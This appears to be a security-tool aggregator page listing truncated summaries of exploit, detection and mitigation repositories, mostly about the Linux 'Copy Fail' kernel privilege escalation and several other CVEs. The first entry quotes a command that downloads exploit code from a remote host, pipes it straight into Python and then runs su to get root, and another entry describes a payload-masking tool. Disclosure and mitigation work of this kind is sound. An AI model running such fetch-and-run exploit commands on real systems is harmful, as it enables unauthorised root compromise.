TEST-CVE-2026-31431

TEST-CVE-2026-31431 root@kitploit: oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d...

block-copyfail

Краткое описание CVE-2026-31431 «Copy Fail» — это уязвимость повышения привилегий в ядре Linux в криптографическом интерфейсе algifaead. Злоумышленник использует сокеты AFALG с алгоритмом authencesn и splice для повреждения произвольных файлов в кэше страниц ядра — включая setuid-бинарники, такие...

powerglot

Powerglot Powerglot encodes several kind of scripts using polyglots, for example, offensive powershell scripts. It is not needed a loader to run the payload. In red-team exercises or offensive tasks, masking of payloads is usually done by using steganography, especially to avoid network level...

copyfail-mitigation

CVE-2026-31431 — Copy Fail Повышение привилегий / повреждение памяти в ядре Linux algifaead Плейбуки аудита и смягчения на базе Ansible — готовы к запуску в production Обзор Copy Fail CVE-2026-31431 — это уязвимость в модуле algifaead ядра Linux — пользовательском интерфейсе AEAD семейства...

fix_CVE-2026-31431

fixCVE-2026-31431 Разрушает уязвимые компоненты, необходимые для CVE-2026-31431, тем самым делая невозможным повышение привилегий через CVE-2026-31431. Тестовый скрипт: https://github.com/rootsecdev/cve202631431/blob/main/testcve202631431.py Команда для исправления: root@kitploit: wget -O fix.sh...

HTB-Snapped-Writeup

HTB-Snapped-Writeup HTB Snapped — разбор сложной Linux-машины. CVE-2026-27944 неавторизованное раскрытие резервной копии Nginx UI в связке с CVE-2026-3888 гонка состояний в snapd для локального повышения привилегий для полной компрометации системы. HTB: Snapped — Writeup Сложность: Hard ОС: Linux...

copyfail-check

copyfail-check Shell-скрипты для обнаружения уязвимостей ядра Linux, проверки статуса смягчающих мер и рекомендаций по устранению — предназначены для запуска локально или на множестве машин через SSH, Ansible или pssh. CVE-2026-31431 — Copy Fail Copy Fail — это уязвимость локального повышения...

Copy-Fail---CVE-2026-31431

CVE-2026-31431 - Copy Fail - Скрипт обнаружения Скрипт на Python для проверки, уязвима ли система Linux к уязвимости CVE-2026-31431 Copy Fail, локальному повышению привилегий в ядре Linux. Уязвимость вкратце Начиная с 2017 года коммит 72548b093ee3, криптографический модуль algifaead ядра...

CVE-2026-29000-pac4j-jwt

pac4j-jwe-forge CVE-2026-29000 Proof-of-concept для CVE-2026-29000. Нацелен на версии pac4j-jwt до 4.5.9, 5.7.9 и 6.3.3. Уязвимость проста: библиотека принимает PlainJWT без подписи, alg=none при условии, что он обёрнут в валидный JWE. Поскольку сервер публикует свой открытый RSA-ключ через...

cve_2026_31431_audit

CVE-2026-31431 Аудит Этот проект предоставляет профессиональный Python-скрипт, предназначенный для проверки уязвимости системы к CVE-2026-31431 , а также демонстрирует способы её эксплуатации в исследовательских целях. 🎬 Полный рабочий процесс На диаграмме ниже показан полный рабочий процесс: от...

Linux-copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail повышение привилегий в Linux Обзор В этом репозитории представлен технический обзор и демонстрация CVE-2026-31431 , широко известной как Copy Fail , уязвимости ядра Linux, которая позволяет повышать локальные привилегии. Уязвимость затрагивает широкий спектр дистрибутив...

CVE-2026-31431

CVE-2026-31431 — PoC «Copy Fail» Образовательный Proof of Concept для CVE-2026-31431 , также известной как Copy Fail , — уязвимости локального повышения привилегий в ядре Linux, затрагивающей криптографический интерфейс AFALG / algifaead. !WARNING Этот репозиторий предоставлен строго в...

CVE-2026-32223-USBPrint-Exploit

CVE-2026-32223: Подключи меня, если сможешь: эксплуатация USB-драйверов принтеров в Windows Переполнение кучи в драйвере USB-принтера Windows usbprint.sys, приводящее к локальному повышению привилегий LPE Эта уязвимость была обнаружена и сообщена ENKI WhiteHat. Обзор CVE-2026-32223 — это уязвимос...

yc-mk8s-copy-fail-mitigation

Copy Fail / Dirty Frag Mitigation for Yandex Managed Kubernetes Автоматическое применение митигации для уязвимостей CVE-2026-31431, CVE-2026-43284 и CVE-2026-43500 в Linux kernel на всех worker-нодах Yandex Managed Kubernetes кластера. Описание уязвимости Идентификатор CVE CVE ID: CVE-2026-43284,...

CVE-2026-31431

CVE-2026-31431 - Proof-of-Concept Эксплойт для локального повышения привилегий через запись в page-cache в Linux algifaead Writeup https://websec.net/blog/cve-2026-31431-linux-algifaead-page-cache-write-to-root-69f38a4ccddd2db1f520f170 Примечания Мы ещё не полностью протестировали PoC, он основан...

CVE-2026-31431-CopyFail-Lab

CVE-2026-31431 «Copy Fail» — лабораторная работа по LPE в ядре Linux Обзор В этом репозитории задокументировано полное лабораторное исследование CVE-2026-31431 Copy Fail — уязвимости локального повышения привилегий LPE высокой степени серьёзности в криптографическом модуле ядра Linux algifaead,...

CVE-2026-30862

CVE-2026-30862 PoC — Повышение привилегий в Appsmith Proof-of-Concept для повышения привилегий в Appsmith через хранимый XSS Раскрытие: Изначально сообщено мной через GHSA-5hw4-whxv-6794 ⚠️ Только для авторизованного пентестинга/исследований. Информация об уязвимости Поле| Значение ---|--- ID CVE|...

CVE-2019-0803

CVE-2019-0803 Win32k Élévation de privilège PoC Capture d'écran Référence voler le jeton de sécurité https://github.com/mwrlabs/CVE-2016-7255...

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 «Copy Fail» — универсальный LPE-эксплойт Произвольная запись 4 байт в page cache ядра Linux → локальное повышение привилегий Несколько подходов к эксплуатации: перезапись динамической точки входа ELF, полная замена бинарного файла, совместимость с Python 3.x с запасным вариантом...

CVE-2025-32463

CVE-2025-32463 Уязвимые версии: sudo 1.9.14, 1.9.15, 1.9.16, 1.9.17 - Исправлено в: sudo 1.9.17p1 и новее - Более старые версии, чем 1.9.14, не затронуты, так как они не поддерживают опцию --chroot. root@kitploit: getroot.sh и getroot.py делают одно и то же. git clone...